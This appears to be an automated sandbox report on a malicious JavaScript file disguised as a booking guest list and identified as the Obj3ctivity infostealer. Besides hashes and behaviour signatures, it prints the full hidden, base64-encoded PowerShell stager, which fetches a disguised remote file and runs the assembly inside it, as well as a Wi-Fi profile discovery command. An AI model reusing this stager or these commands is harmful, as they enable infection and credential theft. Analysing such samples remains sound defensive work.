Analysis
- max time kernel
149s - max time network
142s - platform
windows11-21h2_x64 - resource
win11-20251231-en - resource tags
arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system - submitted
12/01/2026, 06:31
Static task
static1
Behavioral task
behavioral1
Sample
BOOKING_GUEST_LIST.js
Resource
win10v2004-20251231-en
Behavioral task
behavioral2
Sample
BOOKING_GUEST_LIST.js
Resource
win11-20251231-en
General
- Target BOOKING_GUEST_LIST.js
- Size 4.4MB
- Sample260112-hacdmshs2f
- SHA256 d37789af995529e2c3bbb9c4ed8fab17c457b30e75bff13765f3e88c4b4777fd
- MD5 5c24bc73025b64e285f118c49420b6d1
- SHA1 8468571060a621c0d55127df35ba6cf7395b3fea
- SHA512 d70ba5a5cb850addb5c8597055fe87cf91bffdbff7f42183e33d268148ab4faa68b0517c0d4429afd69d4b3db95bfcbed5e7453d10e225b5275aaa9e0ea72ff9
- SSDEEP 384:ZSLBGZH8LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLg:l
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detects Obj3ctivity Stage1 1 IoCs
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
resource yara_rule behavioral2/memory/4680-11-0x0000000000400000-0x00000000004E6000-memory.dmp family_obj3ctivity - Obj3ctivity family
- Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2328 2960 powershell.exe 77 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 2328 powershell.exe 6 2328 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2328 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3566265835-582343572-2256600343-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe Key opened \REGISTRY\USER\S-1-5-21-3566265835-582343572-2256600343-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe Key opened \REGISTRY\USER\S-1-5-21-3566265835-582343572-2256600343-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 icanhazip.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2328 set thread context of 4680 2328 powershell.exe 80 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msbuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe - System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 5108 netsh.exe 4848 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Msbuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Msbuild.exe - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 2328 powershell.exe 4680 Msbuild.exe 4680 Msbuild.exe 4680 Msbuild.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2328 powershell.exe Token: SeDebugPrivilege 4680 Msbuild.exe Token: SeSecurityPrivilege 5080 msiexec.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2328 wrote to memory of 4680 2328 powershell.exe 80 PID 2328 wrote to memory of 4680 2328 powershell.exe 80 PID 2328 wrote to memory of 4680 2328 powershell.exe 80 PID 2328 wrote to memory of 4680 2328 powershell.exe 80 PID 2328 wrote to memory of 4680 2328 powershell.exe 80 PID 4680 wrote to memory of 4848 4680 Msbuild.exe 81 PID 4848 wrote to memory of 5176 4848 cmd.exe 83 PID 4848 wrote to memory of 5108 4848 cmd.exe 85 PID 4848 wrote to memory of 1664 4848 cmd.exe 86 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3566265835-582343572-2256600343-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3566265835-582343572-2256600343-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\BOOKING_GUEST_LIST.js1⤵PID:4992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAG8AcQB1AGUAbAB1AGMAaABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMAbwBxAHUAZQBsAHUAYwBoAGUALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgApADsAJABjAG8AcQB1AGUAbAB1AGMAaABlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYwBvAHEAdQBlAGwAdQBjAGgAZQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQQBjAGMAZQBwAHQALQBMAGEAbgBnAHUAYQBnAGUAIgAsACAAIgBlAG4ALQBVAFMALABlAG4AOwBxAD0AMAAuADkAIgApADsAJABHAHIAZQBnAG8AcgB5ACAAPQAgACcAIwB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABiAGoAdAB6AHEAcAA0AHEALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADYANwA0ADUANQAwADQAMAAvAG8AcAB0AGkAbQBpAHoAZQBkAF8ATQBTAEkAXwBsAHAAcwBkADkAcAAuAGoAcABnACcALgBSAGUAcABsAGEAYwBlACgAJwAjACcALAAgACcAaAAnACkAOwAkAGgAYQBpAHIAcwBiAHIAZQBhAGQAdABoAHMAIAA9ACAAJABjAG8AcQB1AGUAbAB1AGMAaABlAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAEcAcgBlAGcAbwByAHkAKQA7ACQAYwBsAGEAbQBwAGQAbwB3AG4AcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaABhAGkAcgBzAGIAcgBlAGEAZAB0AGgAcwApADsAaQBmACAAKAAkAGMAbABhAG0AcABkAG8AdwBuAHMAIAAtAG0AYQB0AGMAaAAgACcAQgBhAHMAZQBTAHQAYQByAHQALQAoAC4AKgA/ACkALQBCAGEAcwBlAEUAbgBkACcAKQAgAHsAIAAgACQAagB1AGQAZwBlAG0AZQBuAHQAcwAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABtAG8AbQBiAGwAZQBtAGUAbgB0ACAAPQAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGoAdQBkAGcAZQBtAGUAbgB0AHMAKQApADsAIAAgACQAYQByAGcAcwBCAGEAcwBlADYANAAgAD0AIAAnAEoAdwBBADkAQQBGAEUAQQBTAEEAQgBsAEEARABBAEEATgBRAEIAVABBAEcAUQBBAEMAZwBBAE4AQQBIAEkAQQBSAGcAQQB5AEEARwBJAEEAZABRAEIAVwBBAEQATQBBAFQAQQBBAHkAQQBGAFkAQQBSAHcAQgBhAEEASABVAEEAUwBRAEIAcQBBAEcATQBBAGQAUQBCAEIAQQBIAG8AQQBUAGcAQQB5AEEARwBNAEEAYQBnAEIAYQBBAEcAcwBBAFcAZwBCAHEAQQBGAG8AQQBhAFEAQgBLAEEASABvAEEAVABRAEEAMQBBAEYAVQBBAGIAUQBCAE8AQQBEAFUAQQBhAHcAQgBFAEEARQA0AEEAYgBRAEIAawBBAEUAUQBBAFQAZwBCAHIAQQBGAG8AQQBSAEEAQgBQAEEARABFAEEAVgBRAEIAVQBBAEUAMABBAE0AZwBCAEYAQQBEAEkAQQBUAFEAQgB0AEEARwBRAEEAZQBnAEIATgBBAEgAUQBBAFMAUQBCAFgAQQBHAFEAQQBkAHcAQQA1AEEASABrAEEAVABBAEEAMgBBAEUAMABBAFMAQQBCAGoAQQBEAEEAQQBVAGcAQgBJAEEARwBFAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCAGMAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAFgAdwBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEUAMABBAGMAdwBCAGkAQQBIAFUAQQBhAFEAQgBzAEEARwBRAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBUAFEAQgB6AEEARwBJAEEAZABRAEIAcABBAEcAdwBBAFoAQQBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwA4AEEAWQB3AEIAawBBAEcANABBAEwAZwBCAGsAQQBHAGsAQQBjAHcAQgBqAEEARwA4AEEAYwBnAEIAawBBAEcARQBBAGMAQQBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEATAB3AEIAaABBAEgAUQBBAGQAQQBCAGgAQQBHAE0AQQBhAEEAQgB0AEEARwBVAEEAYgBnAEIAMABBAEgATQBBAEwAdwBBAHgAQQBEAEUAQQBPAEEAQQB4AEEARABNAEEATgB3AEEANABBAEQAawBBAE0AQQBBAHkAQQBEAEUAQQBNAFEAQQAyAEEARABBAEEATQBRAEEAMgBBAEQASQBBAE0AZwBBAHkAQQBDADgAQQBNAFEAQQAwAEEARABNAEEATwBBAEEAMgBBAEQAZwBBAE0AZwBBADAAQQBEAEkAQQBNAEEAQQAwAEEARABjAEEATgBBAEEANABBAEQARQBBAE0AQQBBADEAQQBEAEkAQQBNAFEAQQB2AEEASABNAEEAYQBBAEIAcABBAEcAMABBAEwAZwBCADIAQQBHAEkAQQBjAHcAQQAvAEEARwBVAEEAZQBBAEEAOQBBAEQAWQBBAE8AUQBBAHgAQQBEAGMAQQBZAHcAQQAwAEEARwBVAEEAWQBRAEEAbQBBAEcAawBBAGMAdwBBADkAQQBEAFkAQQBPAFEAQQB4AEEARABZAEEATgB3AEEAegBBAEQAWQBBAFkAUQBBAG0AQQBHAGcAQQBiAFEAQQA5AEEARABrAEEAWQBRAEIAaQBBAEQAWQBBAFoAZwBBAHgAQQBEAEkAQQBaAFEAQgBtAEEARABFAEEAWgBnAEEAMABBAEcAVQBBAE8AQQBBAHoAQQBEAE0AQQBOAHcAQQAwAEEARABZAEEATgB3AEIAbABBAEQASQBBAE8AQQBBAHcAQQBHAEkAQQBOAHcAQgBqAEEARwBFAEEAWQB3AEEANQBBAEQATQBBAFoAZwBBADEAQQBEAGMAQQBOAHcAQQB5AEEARABJAEEATQBRAEIAawBBAEQATQBBAFoAZwBCAG0AQQBEAEEAQQBPAEEAQQB4AEEARABrAEEAWgBRAEEAeQBBAEcAVQBBAFkAZwBBAHoAQQBEAFEAQQBOAFEAQQAwAEEARwBZAEEATQBnAEEAMgBBAEQATQBBAE0AUQBBAHoAQQBEAEkAQQBNAHcAQQAxAEEARABVAEEASgBnAEEAbgBBAEMAdwBBAEoAdwBCAEQAQQBEAG8AQQBYAEEAQgBWAEEASABNAEEAWgBRAEIAeQBBAEgATQBBAFgAQQBCAFEAQQBIAFUAQQBZAGcAQgBzAEEARwBrAEEAWQB3AEIAYwBBAEUAUQBBAGIAdwBCADMAQQBHADQAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEIAegBBAEYAdwBBAEoAdwBBAHMAQQBDAGMAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAZgBBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBKAHcAQQBzAEEAQwBjAEEAYQBnAEIAegBBAEMAYwBBAEwAQQBBAG4AQQBEAEUAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAcwBBAEMAYwBBAFYAQQBCAGgAQQBIAE0AQQBhAHcAQgBmAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAEoAdwBBAHMAQQBDAGMAQQBNAEEAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEMAdwBBAEoAdwBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQQA9AD0AJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:4680 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\SysWOW64\chcp.comchcp 650014⤵
- System Location Discovery: System Language Discovery
PID:5176
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5108
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C:\Windows\SysWOW64\findstr.exefindstr All4⤵
- System Location Discovery: System Language Discovery
PID:1664
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5080
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jidw3md.40f.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH